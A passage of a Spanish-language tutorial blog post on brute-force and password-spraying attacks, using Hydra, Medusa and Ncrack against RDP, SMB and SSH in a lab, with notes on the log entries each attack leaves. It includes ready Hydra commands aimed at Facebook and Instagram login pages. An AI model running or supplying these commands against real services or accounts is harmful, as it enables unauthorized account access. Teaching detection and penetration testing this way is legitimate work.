Un detalle a tener en cuenta cuando realice los intentos de conexión es que si el user/pass son correctos cerrará la sesión del usuario actual que esté conectado a la máquina si lo hubiese. 

hydra-fuerza-bruta-profundidad-rdp
Figura 4: Hydra - Fuerza bruta en profundidad al servicio RDP.

Al igual que el servicio anterior RDP también dejará un evento registrado en equipo remoto. Pudiendo ver la IP y puerto del equipo que intentó realizar la conexión así como que usuario intentó autenticarse.

log-intento-inicio-sesion-rdp
Figura 5: Log en el equipo remoto por un intento de autenticación al servicio RDP.

Fuerza bruta en anchura o Password spraying

Fuerza bruta en anchura o Password spraying: Se trata de usar la misma contraseña para muchas cuentas de usuario.

Aprovechando el mismo escenario que en el ejemplo anterior, se muestra un ataque de password spraying en el servicio de recursos compartidos de Windows SMB. 
hydra -L users -p M4ria.12 -vV 10.0.0.16 smb
  • -L: Fichero de lista de usuarios.
  • -p: Contraseña única.
Haciendo referencia a un fichero llamado "users" que contiene una lista de usuarios se le especifica una misma contraseña única.

hydra-fuerza-bruta-anchura-smb
Figura 6: Hydra - Fuerza bruta en anchura o password spraying al servicio SMB.

Como cualquier servicio de Windows de un protocolo conocido, al igual que los casos anteriores, se creará un evento relacionado obteniendo el nombre de usuario y equipo desde donde se intentó realizar la conexión de autenticación. 

log-intento-inicio-sesion-smb
Figura 7: Log en el equipo remoto por un intento de autenticación al servicio SMB.

En cualquier caso cuando un usuario o password específico se usarán los argumentos -l o -p en minúscula y en el caso de hacer referencia a wordlists serán -L o -P en mayúscula.

Fuerza bruta en servicios web como Facebook o Instagram

Servicios que permitan una autenticación web, por ejemplo redes sociales como Facebook o Instagram también es posible realizar ataques de fuerza bruta, aunque el número de intentos es muy limitado y en el caso de fallar varias veces consecutivas es muy probable que la cuenta con la que estamos probando se desactive temporalmente como medida de seguridad, precisamente para evitar este tipo de ataques.

Lo primero sería conocer la IP que nos está respondiendo, no siempre será la misma, puede variar según la zona geográfica y el balanceador que nos responda. Con un simple "ping facebook.com" o "ping insgram.com" obtendremos la IP en ese momento.

Para protocolo HTTPS puerto 443 (https-get).
hydra -L users -P pass -vV <FACEBOOK_IP> -s 443 -f https-get /login
hydra -L users -P pass -vV <INSTAGRAM_IP> -s 443 -f https-get /accounts/login/
Para protocolo HTTP puerto 80 (http-get).
hydra -L users -P pass -vV <FACEBOOK_IP> -s 80 -f http-get /login
hydra -L users -P pass -vV <INSTAGRAM_IP> -s 80 -f http-get /accounts/login/ 
Figura 8: Ataque de fuerza bruta a servicios web como Facebook o Instagram.

Medusa

Medusa es otra alternativa a THC-Hydra. Los tipos de servicios son reconocidos por el tipo de protocolo que usan. 

Medusa utiliza módulos para referirse al protocolo del servicio, es posible implementar diversos módulos a parte de los que trae por defecto. 

Estos módulos están disponibles en el path.
/usr/lib/x86_64-linux-gnu/medusa/modules

Para el siguiente ejemplo cambiaremos de escenario. Un servidor SSH expuesto en un sistema Linux se intentará un ataque de fuerza bruta con wordlists de un conjunto de usuarios y passwords.
medusa -U users -P wordlist -h 10.0.0.40 -M ssh
  • -U: Fichero de lista de usuarios
  • -P: Fichero de lista de contraseñas
  • -h: Host remoto
  • -M: Tipo de módulo.
En la siguiente captura se pueden ver los intentos de conexión con las distintas combinaciones posibles entre user/pass. 

medusa-fuerza-bruta-ssh
Figura 9: Medusa - Fuerza bruta en profundidad al servicio SSH.

Al tratarse de un ataque de fuerza bruta, son ataques activos por lo que este tipo de conexiones también dejan un registro de log en el fichero /var/log/auth.log mostrando fecha, nombre de usuario, IP y puerto desde donde se intentó realizar la conexión de autenticación.

log-fuerza-bruta-ssh
Figura 10: Log en la máquina remota del intento de autenticación al servicio SSH.

Ncrack

Ncrack desarrollada por nmap.org es otra herramienta alternativa a THC-Hydra y Medusa. Se caracteriza por su gran velocidad, su enfoque modular y la capacidad de escalar a múltiples hosts. Su sintaxis es similar a nmap

Continuando el ejemplo anterior, realizamos un ataque de fuerza bruta al servicio SSH con un mismo usuario usando una wordlist de contraseñas.
ncrack -p 22 --user pepe -P wordlist 10.0.0.40
  • -p: Puerto estándar usando por el servicio.
  • --user: Nombre de usuario único.
  • -P: Fichero de lista de contraseñas.
Al igual que THC-Hydra y Medusa, Ncrack también deja su registro en el log. En la siguiente captura se observa como en un primer intento con el usuario juan no fue posible realizar la conexión con el usuario juan pero si con el usuario pepe, lo cual es correcto. Con una lista de 8 contraseñas posibles, en ambos el tiempo de comprobación fue de 3 segundos.

ncrack-fuerza-bruta-ssh
Figura 11: Ncrack - Fuerza bruta en profundidad al servicio SSH. 

Saludos!

Entradas Populares